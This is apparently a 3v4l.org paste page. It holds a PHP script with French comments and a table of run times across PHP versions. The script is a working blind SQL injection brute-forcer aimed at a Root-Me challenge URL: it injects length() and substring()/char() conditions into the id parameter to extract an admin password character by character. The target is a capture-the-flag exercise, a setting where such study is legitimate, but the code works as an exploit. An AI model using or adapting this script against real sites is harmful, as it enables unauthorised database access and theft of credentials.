3v4l.org

run code in 300+ PHP versions simultaneously
<?php //On désactive la limite des 30sec d'exécution du script set_time_limit(0); //L'URL standard à exploiter $url="http://challenge01.root-me.org/web-serveur/ch10?id=1"; /* Bruteforce de la longueur du pass */ $max = 40; //La longueur maxi qu'on s'autorise $longueur = 0; echo "Bruteforce de la longueur du mot de passe en cours...<br />"; for($i = 1; $i<$max; $i++){ //On ouvre l'URL $fp = fopen($url . urlencode(" and length(password)=$i"),"r"); $buf = ""; //On lit le résultat while(!feof($fp)) { $buf .= fgets($fp); } //Si on trouve "admin" sur la page if(preg_match("/admin/",$buf)) { echo "La longueur du pass est : $i <br />"; $longueur = $i; break; } } if($longueur == 0) die("Longueur non trouvée"); /* Bruteforce du pass */ $pass = ""; $i = 1; //Plage des caractères ASCII à balayer $borne_inf = 48; $borne_sup = 123; //Initialisation $code = $borne_inf; while($i <= $longueur){ if($code == $borne_sup + 1) $code = $borne_inf; //On ouvre l'URL $fp = fopen($url.urlencode(" and substring(pass,$i,1)=char($code)"),"r"); $ligne = ""; //On lit et on teste while(!feof($fp)) { $ligne .= fgets($fp); } if(preg_match("/admin/",$ligne)) { //Une lettre à été trouvée ! echo "$i eme lettre trouvée : ".chr($code)." <br />"; $pass .= chr($code); //On passe au caractère suivant $i++; $code = $borne_inf; } $code++; } echo "Pass final : $pass <br />"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00616.75
8.3.50.0150.00316.38
8.3.40.0190.00419.09
8.3.30.0070.00718.89
8.3.20.0080.00020.54
8.3.10.0140.00423.91
8.3.00.0060.00919.94
8.2.180.0110.00416.88
8.2.170.0040.01122.96
8.2.160.0110.00420.60
8.2.150.0080.00024.18
8.2.140.0200.00024.66
8.2.130.0030.00526.16
8.2.120.0090.00017.63
8.2.110.0060.00322.30
8.2.100.0080.00817.88
8.2.90.0040.00419.32
8.2.80.0030.00517.97
8.2.70.0000.00817.88
8.2.60.0030.00518.05
8.2.50.0000.00918.07
8.2.40.0060.00319.53
8.2.30.0040.00420.10
8.2.20.0030.00517.97
8.2.10.0040.00418.41
8.2.00.0050.00318.34
8.1.280.0070.00725.92
8.1.270.0110.00420.43
8.1.260.0040.00426.35
8.1.250.0080.00828.09
8.1.240.0090.00022.58
8.1.230.0090.00317.42
8.1.220.0030.00717.79
8.1.210.0000.00818.77
8.1.200.0090.00017.35
8.1.190.0030.00517.50
8.1.180.0060.00318.10
8.1.170.0060.00318.76
8.1.160.0040.00422.14
8.1.150.0050.00218.98
8.1.140.0080.00017.56
8.1.130.0000.00717.87
8.1.120.0040.00417.57
8.1.110.0080.00017.55
8.1.100.0080.00017.58
8.1.90.0050.00317.57
8.1.80.0050.00217.59
8.1.70.0000.00717.59
8.1.60.0000.00917.77
8.1.50.0050.00317.66
8.1.40.0000.00817.74
8.1.30.0030.00617.80
8.1.20.0040.00417.83
8.1.10.0000.00817.64
8.1.00.0000.00817.65
8.0.300.0000.00918.77
8.0.290.0040.00417.13
8.0.280.0040.00418.70
8.0.270.0040.00417.46
8.0.260.0000.00817.55
8.0.250.0030.00317.14
8.0.240.0070.00017.19
8.0.230.0070.00017.25
8.0.220.0030.00417.16
8.0.210.0000.00717.18
8.0.200.0000.00717.20
8.0.190.0030.00617.19
8.0.180.0030.00617.22
8.0.170.0000.00917.29
8.0.160.0040.00417.20
8.0.150.0000.00716.99
8.0.140.0000.00717.05
8.0.130.0030.00313.82
8.0.120.0030.00617.16
8.0.110.0030.00617.16
8.0.100.0040.00417.22
8.0.90.0040.00417.34
8.0.80.0070.01117.20
8.0.70.0040.00417.27
8.0.60.0000.00817.17
8.0.50.0000.00817.27
8.0.30.0040.01517.35
8.0.20.0180.00617.41
8.0.10.0090.00017.12
8.0.00.0110.01017.00
7.4.330.0000.00515.30
7.4.320.0070.00016.52
7.4.300.0000.00816.54
7.4.290.0030.00616.42
7.4.280.0060.00316.64
7.4.270.0040.00416.52
7.4.260.0040.00716.66
7.4.250.0060.00316.52
7.4.240.0050.00416.71
7.4.230.0040.00416.85
7.4.220.0220.01916.74
7.4.210.0100.02516.56
7.4.200.0000.00716.75
7.4.160.0380.01516.71
7.4.150.0410.01217.40
7.4.140.0130.00817.86
7.4.130.0180.01016.66
7.4.120.0270.01016.74
7.4.110.0170.00716.66
7.4.100.0190.01516.70
7.4.90.0160.00316.78
7.4.80.0320.01519.39
7.4.70.0160.02016.75
7.4.60.0140.00416.65
7.4.50.0000.00916.62
7.4.40.0070.01716.74
7.4.30.0090.00916.64
7.4.00.0030.01215.19
7.3.330.0030.00313.48
7.3.320.0030.00313.36
7.3.310.0050.00516.47
7.3.300.0040.00416.54
7.3.290.0160.00616.53
7.3.280.0090.01116.55
7.3.270.0220.01417.40
7.3.260.0400.01616.59
7.3.250.0190.01316.45
7.3.240.0530.02016.49
7.3.230.0720.01616.54
7.3.210.0310.02416.52
7.3.200.0120.00816.42
7.3.190.0470.00916.57
7.3.180.0200.01916.48
7.3.170.0340.00916.46
7.3.160.0800.03316.47
7.2.330.0340.01616.70
7.2.320.0320.01516.79
7.2.310.0280.01116.85
7.2.300.0030.01616.77
7.2.290.0140.01916.88
7.2.60.0110.00317.15
7.2.00.0070.00719.64
7.1.200.0060.00615.95
7.1.100.0070.00418.52
7.1.70.0070.00717.27
7.1.60.0100.01620.03
7.1.50.0100.00717.28
7.1.00.0070.07722.66
7.0.200.0660.00315.04
7.0.60.0100.07320.46
7.0.50.0070.07718.08
7.0.40.0070.04720.51
7.0.30.0270.04320.16
7.0.20.0300.07720.24
7.0.10.0030.04320.27
7.0.00.0170.08020.07
5.6.280.0170.06321.53
5.6.210.0030.09021.14
5.6.200.0130.08318.52
5.6.190.0070.05321.03
5.6.180.0030.07321.10
5.6.170.0270.04020.74
5.6.160.0100.05020.74
5.6.150.0070.04018.35
5.6.140.0100.08318.51
5.6.130.0100.06318.51
5.6.120.0170.08021.34
5.6.110.0130.07321.29
5.6.100.0200.06021.54
5.6.90.0100.07321.41
5.6.80.0170.07020.73
5.5.350.0030.06720.86
5.5.340.0030.05018.30
5.5.330.0130.07720.90
5.5.320.0270.05020.47
5.5.310.0400.07020.52
5.5.300.0230.07018.23
5.5.290.0070.04718.37
5.5.280.0030.09020.98
5.5.270.0130.08021.19
5.5.260.0100.04721.25
5.5.250.0070.05020.88
5.5.240.0070.07320.69
5.4.450.0870.06719.48
5.4.440.0900.05319.65
5.4.430.0900.05319.48
5.4.420.0900.05319.46
5.4.410.0930.05319.41
5.4.400.0800.05019.06
5.4.390.0770.06719.34
5.4.380.0970.05319.05
5.4.370.0930.05319.21
5.4.360.0830.06719.26
5.4.350.1000.07719.17
5.4.340.1200.05319.06
5.4.320.0970.05019.34
5.4.310.0870.05319.16
5.4.300.0830.05319.16
5.4.290.0900.05719.34
5.4.280.0900.05719.16
5.4.270.1030.06719.19
5.4.260.0930.04719.16
5.4.250.0930.06019.26
5.4.240.1100.04019.32
5.4.230.0930.05319.26
5.4.220.0870.05719.25
5.4.210.0900.05719.03
5.4.200.0930.04719.30
5.4.190.0830.05019.13
5.4.180.0870.05319.26
5.4.170.0830.05319.30
5.4.160.0830.05719.23
5.4.150.1030.05719.15
5.4.140.0970.05716.68
5.4.130.0870.05316.86
5.4.120.0870.05316.65
5.4.110.0830.05316.84
5.4.100.0830.04716.66
5.4.90.0870.05016.79
5.4.80.0900.05016.64
5.4.70.0230.06717.00
5.4.60.0230.07017.18
5.4.50.0230.03316.91
5.4.40.0330.06016.93
5.4.30.0070.06717.02
5.4.20.0030.07317.17
5.4.10.0370.07017.01

preferences:
54.47 ms | 400 KiB | 5 Q